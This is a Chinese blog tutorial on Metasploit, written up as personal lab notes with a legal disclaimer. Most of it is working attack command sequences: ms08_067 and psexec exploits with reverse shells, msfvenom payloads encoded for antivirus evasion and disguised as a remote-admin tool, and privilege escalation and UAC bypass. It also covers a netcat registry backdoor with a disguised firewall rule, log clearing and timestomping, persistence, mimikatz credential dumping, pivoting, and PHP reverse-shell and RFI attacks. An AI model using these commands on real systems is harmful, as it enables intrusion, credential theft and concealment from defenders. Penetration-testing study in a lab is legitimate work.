Lluna's Pure land.

What is life like when singing to wine?

0%

MSF的简单操作

0x01.写在前面

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试及入侵检测系统]签名开发。metspolit框架共有四个版本(Metasploit Framework Edition,Metasploit Community Edition,Metasploit Express,Metasploit Pro),MSF为其中的开源免费版本,其他为收费版本,但功能也更加强大。最新的MSF为MSF5.0,5.0提供了新的数据服务,引入了新的免杀功能,支持多种语言。

免责声明:本文只为学习记录,任何人非法使用产生的任何后果,作者概不负责!!!

一、MSF5的7大模块


1.auxiliary

负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

2.exploits

利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

3.payloads

成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。

single:一个完整的payload,不需要外部库,all-in-one

stager:目标计算机内存有限,先传输一个较小的payload用于建立连接

stages:利用stager建立的连接下载后续的payload

stager与stages有多种类型,适用于不同场景

4.encoders

对payload进行加密,躲避Anti Virus检查的模块

5.nops

提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,提高渗透攻击的可靠性。

6.post

后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作

7.evasion

用于免杀绕过

二、msfconsole控制台

一般参数

msfconsole -h 查看帮助信息

msfconsole -q 安静启动

一般命令

banner banner信息

color 颜色设置

connect 连接设置

控制台常用命令

show 模块 查看模块信息

search 参数 查找指定信息。例如:search name:mysql

use 指定文件 使用指定文件。例如:use exploit/windows/smb/ms08_067_netapi

在use下可以查看info信息,查看当前exp下可以使用的payload、系统等信息。

在use下也可以使用show missing查看需要配置的参数,show options查看配置的参数,show targets查看可以利用的对象,show advanced查看高级配置参数,show evasion查看面纱绕过信息

set/unset 用于设置

setg/unsetg 全局设置,仅在当前会话有效,退出失效,可以使用save保存

check 用于测试是否可以利用

back 返回上一级

db_ 一系列参数

hosts 查看主机参数

hosts -c 查看指定列

hosts -S 以指定参数搜索

services 查看端口等(-S/-c)

run 执行当前模块

load 导入外部模块

resource 指定资源文件 文件名.rc,将配置直接写入.rc,msfconsole -r 文件名.rc

一个反弹shell小案例,本次利用ms08_067

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/ms08_067_netapi
show options
set payload windows/shell/reverse_tcp
set rhost 192.168.1.200
set lhost 192.168.1.6
set target 34
run -j
sessions -l
sessions -i 1

三、实验案例

(1)active exploit与PassiveMoudle案例

ActiveModule

1
2
3
4
5
6
7
8
9
10
11
12
13
search smb/psexec
use exploit/windows/smb/psexec
search shell/reverse
set payload payload/windows/shell/reverse_tcp
set rhosts 192.168.1.100
set lhost 192.168.1.6
set SMBUSER administrator
set SMBPASS 11
show options
show targets
run -j
sessions -l
sessions -i 1

PassiveMoudle

1
2
3
4
5
6
search windows/browser/ms07_017_ani_loadimage_chunksize
use windows/browser/ms07_017_ani_loadimage_chunksize
set payload payload/windows/shell/reverse_tcp
set lhost 192.168.1.6
set srvhost 192.168.1.6
run # 等待访问即可

(2)生成payload案例

1
2
3
4
5
6
7
8
9
10
use windows/shell_bind_tcp
generate # 编码
generate -b '\x00' # 过滤坏字符
-e x86/shikata_ga_nai # 指定编码
-i 5 # 指定编码次数
-k # 使用当前进程,开启一个新的线程
-x /usr/share/windows-binaries/radmin.exe # 使用一个正常的模板
-f exe # 输出指定格式文件
-o /root/1.exe # 输出文件的名字
-n 14 # 添加14个字节的NOP,NOP是无任何操作字符,可以起到混淆绕过免杀的作用

小案例,生成一个伪造的远程管理小程序

1
generate -b '\x00\xff' -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o /root/1.exe

执行

nc,getshell

四、meterpreter,注入到合法的操作系统里的进程,随机。

1.meterpreter shell 案例

1
2
3
4
5
6
7
8
9
10
search ms08_067
use exploit/windows/smb/ms08_067_netapi
show options
set rhosts 192.168.1.200
set target 34
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.6
run -j
sessions -l
sessions 1

拿到meterpreter shell

2.meterpreter shell下的常用命令,在meterpreter shell下可以使用Linux命令与Windows命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
help # 帮助
background # 返回msfconlse,并保存session
dir,pwd,cat,ls,mkdir,rmdir, edit,lcd,lpwd等
bgrun killav # 杀死杀病毒软件
bgrun vnc # 监控
clearev # 清除日志
download # 下载文件 download boot.ini
upload # 上传 例如:upload /usr/share/windows-binaries/nc.exe c:
execute # 执行 例如:execute -f cmd.exe -i -H -f为运行哪个程序 -i为交互 -H为隐藏
getuid # 查看当前用户
getsystem # 提权到system
getprivs # 查看有哪些权限
getproxy # 获取代理
getpid # 获取进程号
migrate 1548 # 迁移进程
hashdump # 获取用户的哈希值
sysinfo # 查看系统信息
reboot
shutdown
shell # 获取shell
show_mount # 查看挂载硬盘
search -f ein.ini # 查找文件
arp
netstat
ipcofnig
ifconfig
route
idletime # 查看停止操作的时间
resource -r 文件 # 调用资源文件
record_mic # 麦克风
webcam_list # 摄像头

五、 msfcli

已被msfconsole -x代替,不好玩

例子:

1
2
3
4
5
6
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;
set rhosts 192.168.1.200;
set target 34;
set payload windows/meterpreter/reverse_tcp;
set lhost 192.168.1.6;
run -j"




0x02.MSF信息收集

一、内置外部工具

1
db_nmap 192.168.1.0/24

二、auxiliary模块

例一,arp主机扫描

1
2
3
4
5
6
7
search arp
use auxiliary/scanner/discovery/arp_sweep
show options
set interface eth0 # 设置网卡
set rhosts 192.168.1.0/24 # 设置网段
set threads 20 # 设置线程数
run

例二,端口扫描

1
2
3
4
5
6
search portscan
set interface eth0
set ports 80
set rhosts 192.168.1.0/24
set threads 20
run

例三,UDP扫描

1
use auxiliary/scanner/discovery/udp_sweep

例四,SMTP扫描

1
2
3
4
5
vi /etc/default/snmpd #修改侦听地址  0.0.0.0
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_enumusers (windows)
use auxiliary/scanner/snmp/snmp_enumshares (windows)

例五,SMB扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
版本扫描
use auxiliary/scanner/smb/smb_version

扫描命令管道,判断SMB服务类型(账号,密码)
use auxiliary/scanner/smb/pipe_auditor

扫描通过SMB管道可以访问的RCERPC服务
use auxiliary/scanner/smb/pipe_dcerpc_auditor

SMB枚举共享
use auxiliary/scanner/smb/smb_enumshares

SMB用户枚举
use auxiliary/scanner/smb/smb_enumusers

SMB SID(RID)枚举
use auxiliary/scanner/smb/smb_lookupsid

例六,SSH扫描

1
2
3
4
5
6
7
8
9
SSH版本扫描
use auxiliary/scanner/ssh/ssh_versio

SSH密码爆破
use auxiliary/scanner/ssh/ssh_login
set userpass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

SSH公钥登入
use auxiliary/scanner/ssh/ssh_login_pubkey

0x03.MSF漏洞扫描

实验案例

例一,vnc密码破解

1
2
3
4
5
use auxiliary/scanner/vnc/vnc_login
threads 30
set BlANK_PASSWORDS yes
set rhosts 192.168.1.5
run

例二,vnc无密码访问

1
2
3
use auxiliary/scanner/vnc/vnc_none_auth
set rhosts 192.168.1.5
run

例三,RDP远程桌面漏洞

1
2
3
4
5
use auxiliary/scanner/rdp/ms12_020_check # 无DOS攻击
set rhosts 192.168.1.200
run

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids # DOS攻击,蓝屏关机

例四,显示目录及文件

1
2
use auxiliary/scanner/http/files_dir
run

例五,WebDAV Unicode编码身份验证绕过

1
2
use auxiliary/scanner/http/dir_webdav_unicode_bypass
run

例六,wmap

1
2
首先需要load wmap
根据sqlmap工作模式开发

0x04.MSF客户端渗透

实验案例

案例1

1
2
3
4
5
6
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.1.6 lport=4444 -b '\x00\xff' -e x86/shikata_ga_nai -i 5 -f exe -o what.exe

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set lhost 192.168.1.6
run

0x05.后渗透测试

实验案例

提权,案例一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.6 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o
1.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.6
exploit -j
运行1.exe

得到LLuna用户权限
meterpreter > getuid
Server username: L-CD1028181A2B4\Lluna

提权
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

基于session提权(UAC允许)
background
use exploit/windows/local/ask
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.6
set filename winupdate.exe
set session 1
点击确定get shell
meterpreter > getuid
Server username: L-CD1028181A2B4\Lluna
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

绕过UAC提权,会出现Already in elevated state(已经处于提升状态)
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.6
set session 1

使用DDL动态链接库绕过
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.6

使用漏洞提权
use exploit/windows/local/ms13_053_schlamperei

案例二,使用注册表添加NC后门服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32(上传nc)
查看键值对
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
增加键值对
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

再次查看
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

打开一个隐式shell,并查看防火墙
execute -f cmd -i -H
netsh firewall show opmode

如果开启则添加放行策略
netsh firewall add portopening TCP 444 "Core Networking - DNS (UDP-Out) - fjy" ENABLE ALL
(Core Networking - DNS (UDP-Out)为系统自带规则用于伪装)

重启
shutdown -r -t 0

连接
nc 192.168.1.200 444

案例三、抓包

1
2
3
4
5
6
7
8
9
在获取到meterpreter shell的情况下
meterpreter > load sniffer # 导入sniffer
meterpreter > sniffer_start 3 # 选择网卡进行抓包,抓包方法为在内存中缓存区块循环存储抓包,默认50000个包,不写硬盘中,并且智能过滤meterpreter流量,传输过程使用SSL/TLS加密。
sniffer_dump 3 text.cap # 下载抓到的包

抓到的包可以使用wireshark进行分析,也可以使用MSF自带解码进行解码
use auxiliary/sniffer/psnuffle
set PCAPFILE text.cap
run

可以看到用户名与密码

案例四、文件搜索

1
2
meterpreter > search -f *.ini
search -d C:\\Users\ and\ settings\\administrator\\desktop\\ -f *.docx

案例五、时间取证分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
文件系统访问会留下痕迹,电子取证重点关注。
渗透测试者与攻击者往往希望销毁文件系统的访问痕迹。
最好的避免被文件取证就是不要触碰文件系统。
meterpreter的优势在于完全基于内存。
MAC 时间(Modified / Accessed / Changed)
M为文件修改时间,A为文件的访问时间,C为文件权限的修改时间

在系统下修改时间:
ls -l --time=atime/ctime 1.txt # 默认为mtime
stat 1.txt # 列出全部时间
touch -d "2 days ago" 1.txt # 修改MA时间
touch -t 1501010101 1.txt # 修改精确时间,年月日

在meterpreter下修改时间:
meterpreter > timestomp -v 111 # 查看111文件的MAC时间
timestomp -f C:\\WINDOWS\\0.log 111 # -f为指定一个模板,将111的时间改为0.log的时间

timestomp -a "11/11/2018 11:11:11" 111 # 指定修改A的时间
timestomp -m "11/11/2018 11:11:11" 111 # 指定修改M的时间
timestomp -c "11/11/2018 11:11:11" 111 # 指定修改M的时间
timestomp -z "11/11/2024 11:11:11" 111 # 一次修改三个时间
timestomp -e "11/11/2020 11:11:11" 111 # 指定修改E(Entry Modified)时间
Entry Modified为MFT,为NTFS的文件系统的主文件分配表
-b -r 为擦除MACE时间表,目前已失效。

案例六、使用Pivoting(基于路由)实现跳板/枢纽/支点get shell

1.实验拓扑

2.实验目的

1.kali使用msf生成名为haha.exe的执行程序,并诱使win_2k03执行,然后反弹给kali一个meterpreter shell。

2.得到shell后以win_2k03为跳板,控制win_XP。

3.实验过程

1.配置防火墙m0n01,配置NAT

2.配置WLAN关闭拒绝私有网段访问,使访问其他主机访问192.168.1.4能够实现NAT。

3.配置m0n02规则,允许全部网段可以出去

4.测试

5.生成haha.exe

1
root@JIYE:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o haha.exe

6.win_2k03下载并访问(诱骗)

7.kali监听,win_2k03运行haha.exe

1
2
3
4
5
msfconsole -q
msf5 > use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.22 # 这里不是192.168.1.4
run

8.添加到达192.168.254.0的路由,使以后192.168.254.0的路由都走session1

9.扫描网段

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.254.20-192.168.254.30
set ports 139,445
run

可以看到20与22是存活的

10.使用nmap扫描,可以看到添加的路由对nmap没有作用。

1
db_nmap -A -p 445 -Pn 192.168.254.22

11.利用ms08067 get XP shell

1
2
3
4
5
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.254.22
set target 34
run

这里win2k03挂了,所以我换了个win7,但出现了个问题。弹出了一个消息点击允许就可以得到shell,但我失败了。。。

来baby让我们换个思路,竟然反弹给win2k03失败,那么能不能反弹给他的上一级m0n0的wlan口,理论上是可以,因为我们已经加了一条192.168.254.0/24的路由,并且网关为session9,尝试一下是可以的。

这里在连接win2k03的session中一定要加192.168.254.0/24的路由

1
2
set lhost 192.168.1.4
run

已经拿到win_XP的shell

两个shell都拿到手了。

那么这种情况下的shell并不是从win2k03拿到的,如下图,而是由session 9建立连接,发送XP payload,执行后直接反弹给m0n0的wlan口,并不经过win2k03。

再看一下win2k03(win7)

综上,实验完成。

案例七、使用Pivoting(基于端口转发)实现跳板/枢纽/支点get shell

删除session 9 的路由

1
2
meterpreter > run autoroute -d -s 192.168.254.0/24
run autoroute -p

添加一个端口映射

1
meterpreter > portfwd add -L 192.168.253.22 -l 3389 -r 192.168.254.22 -p 3389

执行,拿到shell。

1
root@JIYE:~# rdesktop 192.168.253.22

登入xp会弹警告

kali连接上的时候xp用户会注销

完。。。

案例八,多sessions连接

1
2
3
4
5
6
7
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o a.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.4
set exitonsession # 持续监听4444端口,能够同时获取多个session
run -j -z

使用post模块进行后渗透测试

1
2
3
4
5
6
7
8
9
10
11
12
13
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描整个网段
run post/windows/gather/checkvm # 扫描虚拟机
run post/windows/gather/credentials/credential_collector # 扫描身份验证信息(账号)token
run post/windows/gather/enum_applications # 扫描安装软件的信息
run post/windows/gather/enum_logged_on_users # 扫描正处于登入的账号(500为管理员)
run post/windows/gather/enum_snmp # 查看snmp相关配置
run post/multi/recon/local_exploit_suggester # 扫描本地可以用于提权的漏洞模块
run post/windows/manage/delete_user USERNAME=a # 删除用户
run post/multi/gather/env # 查看系统环境信息
run post/multi/gather/firefox_creds # 查看火狐浏览器保存的密码
run post/multi/gather/ssh_creds # 查看本地保存的ssh用户名密码信息
run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe # 检查目标系统文件是否为恶意文件
run hostsedit -e 192.168.1.4,www.baidu.com # 修改hosts文件

设置制动执行脚本,使得到的session进程为explorer

1
2
3
4
5
msf5 exploit(multi/handler) > set AutorunScript migrate -n explorer.exe
run -j -z

set InitialAutoRunScript migrate -n explorer.exe
set AutoRunScript post/windows/gather/dumplinks

案例九,建立持久连接

1
run metsvc -A # 在目标机器创建一个系统服务并启动

连接

1
2
3
4
5
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.1.200
set lport 31337
run

其他方法

1
run persistence -X -r 192.168.1.200 -p 4444 -i 10 # 当XP重启时会重新连接

重启XP直连

案例十,MSF延展Mimikatz

hashdump就是使用mimikatz的部分功能

1
2
3
4
5
6
导入
load mimikatz
msv # 查看系统用户信息(hash)
ssp # 查看用户明文信息
tspkg # 票据
wdigest # 可以查看到内存中存在的用户名密码

参数

1
2
3
4
5
6
7
8
9
10
getsystem
load mimikatz
wdigest ̵kerberos ̵msv ̵ssp ̵tspkg ̵livessp
mimikatz_command -h
mimikatz_command -f a:: # 查看哪些模块可以使用
mimikatz_command -f samdump::hashes #
mimikatz_command -f handle::list # 查看系统进程
mimikatz_command -f service::list # 查看系统服务,可以开启服务也可以停止服务
mimikatz_command -f crypto::listProviders # 查看支持的加密套件
mimikatz_command -f winmine::infos # 破解扫雷游戏。。。

案例十一,PHP shell

通过浏览器访问执行php文件拿到shell

1
2
3
4
5
6
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=3333 -f
raw -o a.php

set payload php/meterpreter/reverse_tcp
set lport 3333
run

浏览器访问

getshell

案例十二,RFI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
修改PHP配置文件,允许远程包含
vi /etc/php5/cgi/php.ini #php info 配置文件
allow_url_fopen = On
allow_url_include = On

MSF:
use exploit/unix/webapp/php_include
set RHOST 192.168.1.5
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX # 不管什么都填XXpathXX
set HEADERS "Cookie:security=low;PHPSESSID=r0p9hepkbrkcn01jjjqldsork2"
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.4
run
-------------纸短情长下次再见-------------